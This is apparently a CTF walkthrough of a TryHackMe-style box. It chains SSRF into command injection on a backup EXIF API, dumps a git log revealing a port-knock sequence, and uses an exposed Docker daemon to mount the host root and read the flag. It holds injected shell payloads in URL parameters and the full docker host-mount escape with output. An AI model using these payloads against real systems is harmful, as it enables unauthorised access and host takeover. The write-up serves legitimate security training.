The Great Escape

We have a gallery node.js app with some interesting api endpoints specially the /api/exif. The box itself was hard to fuzz as it was really unstable. After 4 hours poking around i found that /api/exif?url= is not vulnarable to code injection and ssrf attack seemed futile as well until reading the hint x1000 times i just checked /.well-known/security.txt which gave me an interesting answer

first flag

Hey you found me!

The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.

See https://securitytxt.org/ for more information.

Ping /api/fl46 with a HEAD request for a nifty treat.
curl --head http://10.10.169.244/api/fl46
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Feb 2021 12:50:47 GMT
Connection: keep-alive
flag: THM{REDACTED}

After that poking and enumeration around gave us some interesting stuff with the robots.txt,but it was bit confusing until someone told me use the filename and endpoints as reference to enumerate the *.bak.txt file name which gave me finnaly

http://10.10.183.199/exif-util.bak.txt:

<template>
  <section>
    <div class="container">
      <h1 class="title">Exif Utils</h1>
      <section>
        <form @submit.prevent="submitUrl" name="submitUrl">
          <b-field grouped label="Enter a URL to an image">
            <b-input
              placeholder="http://..."
              expanded
              v-model="url"
            ></b-input>
            <b-button native-type="submit" type="is-dark">
              Submit
            </b-button>
          </b-field>
        </form>
      </section>
      <section v-if="hasResponse">
        <pre>
          {{ response }}
        </pre>
      </section>
    </div>
  </section>
</template>

<script>
export default {
  name: 'Exif Util',
  auth: false,
  data() {
    return {
      hasResponse: false,
      response: '',
      url: '',
    }
  },
  methods: {
    async submitUrl() {
      this.hasResponse = false
      console.log('Submitted URL')
      try {
        const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
          params: {
            url: this.url,
          },
        })
        this.hasResponse = true
        this.response = response
      } catch (err) {
        console.log(err)
        this.$buefy.notification.open({
          duration: 4000,
          message: 'Something bad happened, please verify that the URL is valid',
          type: 'is-danger',
          position: 'is-top',
          hasIcon: true,
        })
      }
    },
  },
}
</script>

Where we can see that the exif-utils has a backup api dev inside which means ,one of the possible soulution to use a ssrf attack on exif-util and after a while i found some interesting thing that the backup exif tool was vulnarable to command injection,which gave us a perfect foothold to poke around on the filesystem. Some interesting files I found on the way:

payload: http://api-dev-backup:8080/exif?url=;cat%20%2froot%2fdev-note.txt

Hey guys,

Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.

Anyways, the password is fluffybunnies123

Cheers,

Hydra

Interesting,but not much helpfull ,but in the root directory there are interesting files.

        An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
[user]
	email = hydragyrum@example.com
	name = Hydra
drwx------ 1 root root 4096 Jan  7 16:48 .
drwxr-xr-x 1 root root 4096 Jan  7 22:14 ..
lrwxrwxrwx 1 root root    9 Jan  6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan  7 16:48 .git
-rw-r--r-- 1 root root   53 Jan  6 20:51 .gitconfig
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw-rw-r-- 1 root root  201 Jan  7 16:46 dev-note.txt

There is a git repo. Lets see what happened in there

http://api-dev-backup:8080/exif?url=;cd%20%2froot%20%26%26%20git%20log%20-p

commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <hydragyrum@example.com>
Date:   Thu Jan 7 16:48:58 2021 +0000

    fixed the dev note

diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..efadf5b
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
+
+Anyways, the password is fluffybunnies123
+
+Cheers,
+
+Hydra
\ No newline at end of file

commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Removed the flag and original dev note b/c Security

diff --git a/dev-note.txt b/dev-note.txt
deleted file mode 100644
index 89dcd01..0000000
--- a/dev-note.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Hey guys,
-
-I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
-
-Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
-
-Cheers,
-
-Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
deleted file mode 100644
index aae8129..0000000
--- a/flag.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-You found the root flag, or did you?
-
-THM{REDACTED}
\ No newline at end of file

commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..89dcd01
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{REDACTED}
\ No newline at end of file

Soo this mean we have a docker daemon port exposure ,because of our “lazy” sysadmin.

Easiest Port knocking script: nc -z 10.10.169.244 42 1337 10420 6969 63000

nmap 10.10.169.244 -p 2375
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 12:55 UTC
Nmap scan report for 10.10.169.244
Host is up (0.27s latency).

PORT     STATE SERVICE
2375/tcp open  docker

Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds

BOI gaze upon ,we have a way to communicate with that so we need the docker-cli package

Settings up our environment kali@kalinka:~$ export DOCKER_HOST="tcp://10.10.63.196:2375"

kali@kalinka:~$ docker ps
CONTAINER ID   IMAGE          COMMAND                  CREATED       STATUS          PORTS                  NAMES
49fe455a9681   frontend       "/docker-entrypoint.…"   5 weeks ago   Up 25 minutes   0.0.0.0:80->80/tcp     dockerescapecompose_frontend_1
4b51f5742aad   exif-api-dev   "./application -Dqua…"   5 weeks ago   Up 25 minutes                          dockerescapecompose_api-dev-backup_1
cb83912607b9   exif-api       "./application -Dqua…"   5 weeks ago   Up 25 minutes   8080/tcp               dockerescapecompose_api_1
548b701caa56   endlessh       "/endlessh -v"           5 weeks ago   Up 25 minutes   0.0.0.0:22->2222/tcp   dockerescapecompose_endlessh_1
kali@kalinka:~$ docker ps
CONTAINER ID   IMAGE          COMMAND                  CREATED       STATUS          PORTS                  NAMES
49fe455a9681   frontend       "/docker-entrypoint.…"   5 weeks ago   Up 25 minutes   0.0.0.0:80->80/tcp     dockerescapecompose_frontend_1
4b51f5742aad   exif-api-dev   "./application -Dqua…"   5 weeks ago   Up 25 minutes                          dockerescapecompose_api-dev-backup_1
cb83912607b9   exif-api       "./application -Dqua…"   5 weeks ago   Up 25 minutes   8080/tcp               dockerescapecompose_api_1
548b701caa56   endlessh       "/endlessh -v"           5 weeks ago   Up 25 minutes   0.0.0.0:22->2222/tcp   dockerescapecompose_endlessh_1
kali@kalinka:~$ docker ps
CONTAINER ID   IMAGE          COMMAND                  CREATED       STATUS          PORTS                  NAMES
49fe455a9681   frontend       "/docker-entrypoint.…"   5 weeks ago   Up 27 minutes   0.0.0.0:80->80/tcp     dockerescapecompose_frontend_1
4b51f5742aad   exif-api-dev   "./application -Dqua…"   5 weeks ago   Up 27 minutes                          dockerescapecompose_api-dev-backup_1
cb83912607b9   exif-api       "./application -Dqua…"   5 weeks ago   Up 27 minutes   8080/tcp               dockerescapecompose_api_1
548b701caa56   endlessh       "/endlessh -v"           5 weeks ago   Up 27 minutes   0.0.0.0:22->2222/tcp   dockerescapecompose_endlessh_1
kali@kalinka:~$ docker images
REPOSITORY                                    TAG       IMAGE ID       CREATED         SIZE
exif-api-dev                                  latest    4084cb55e1c7   5 weeks ago     214MB
exif-api                                      latest    923c5821b907   5 weeks ago     163MB
frontend                                      latest    577f9da1362e   5 weeks ago     138MB
endlessh                                      latest    7bde5182dc5e   6 weeks ago     5.67MB
nginx                                         latest    ae2feff98a0c   2 months ago    133MB
debian                                        10-slim   4a9cd57610d6   2 months ago    69.2MB
registry.access.redhat.com/ubi8/ubi-minimal   8.3       7331d26c1fdf   2 months ago    103MB
alpine                                        3.9       78a2ce922f86   10 months ago   5.55MB

Interesting we have a few base image installed as well, lets see if we can mount host machine root partition

kali@kalinka:~$ docker run -ti alpine -v /:/mnt
Unable to find image 'alpine:latest' locally

Silly me there is no latest available so lets see what version we have

kali@kalinka:~$ docker images alpine
REPOSITORY   TAG       IMAGE ID       CREATED         SIZE
alpine       3.9       78a2ce922f86   10 months ago   5.55MB

kali@kalinka:~$ docker run -ti -v /:/mnt 78a2ce922f86 sh
/ # chroot /mnt
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@a73060055db9:/# ls
bin   home            lib64       opt   sbin      tmp      vmlinuz.old
boot  initrd.img      lost+found  proc  srv       usr
dev   initrd.img.old  media       root  swapfile  var
etc   lib             mnt         run   sys       vmlinuz
root@a73060055db9:/# ls -la
total 239784
drwxr-xr-x 22 root root      4096 Jan  9 22:11 .
drwxr-xr-x 22 root root      4096 Jan  9 22:11 ..
drwxr-xr-x  2 root root      4096 Jan  6 23:49 bin
drwxr-xr-x  3 root root      4096 Jan  9 22:52 boot
drwxr-xr-x 17 root root      3680 Feb 18 14:39 dev
drwxr-xr-x 82 root root      4096 Feb 18 10:08 etc
drwxr-xr-x  3 root root      4096 Jul 22  2020 home
lrwxrwxrwx  1 root root        34 Jan  9 22:11 initrd.img -> boot/initrd.img-4.15.0-130-generic
lrwxrwxrwx  1 root root        34 Jan  9 22:11 initrd.img.old -> boot/initrd.img-4.15.0-129-generic
drwxr-xr-x 18 root root      4096 Jan  6 22:40 lib
drwxr-xr-x  2 root root      4096 Jan  6 17:52 lib64
drwx------  2 root root     16384 Jul 22  2020 lost+found
drwxr-xr-x  2 root root      4096 Jul 22  2020 media
drwxr-xr-x  2 root root      4096 Jul 22  2020 mnt
drwxr-xr-x  3 root root      4096 Jan  6 19:06 opt
dr-xr-xr-x 96 root root         0 Feb 18 14:39 proc
drwx------  3 root root      4096 Jan  6 23:37 root
drwxr-xr-x 19 root root       580 Feb 18 14:40 run
drwxr-xr-x  2 root root      4096 Jan  6 23:49 sbin
drwxr-xr-x  2 root root      4096 Jul 22  2020 srv
-rw-------  1 root root 245452800 Jul 22  2020 swapfile
dr-xr-xr-x 13 root root         0 Feb 18 14:39 sys
drwxrwxrwt  9 root root      4096 Feb 18 15:13 tmp
drwxr-xr-x 11 root root      4096 Jan  6 19:05 usr
drwxr-xr-x 11 root root      4096 Jul 22  2020 var
lrwxrwxrwx  1 root root        31 Jan  9 22:11 vmlinuz -> boot/vmlinuz-4.15.0-130-generic
lrwxrwxrwx  1 root root        31 Jan  9 22:11 vmlinuz.old -> boot/vmlinuz-4.15.0-129-generic
root@a73060055db9:/# cd root
root@a73060055db9:~# ls
flag.txt
root@a73060055db9:~# cat flag.txt 
Congrats, you found the real flag!

THM{REDACTED}

So we finished this box. This was a really interesting box, the foothold was a real pain in the bacon ,because it was a bit guessy for my taste. However after we found the command injection through a ssrf attack it was a real treat. And the bit greybeard portknocking part was amusing for sure. At the end the docker part was the easiest part in my opinion ,because I have to docker daily bases as I am a self-hosting a few services myself.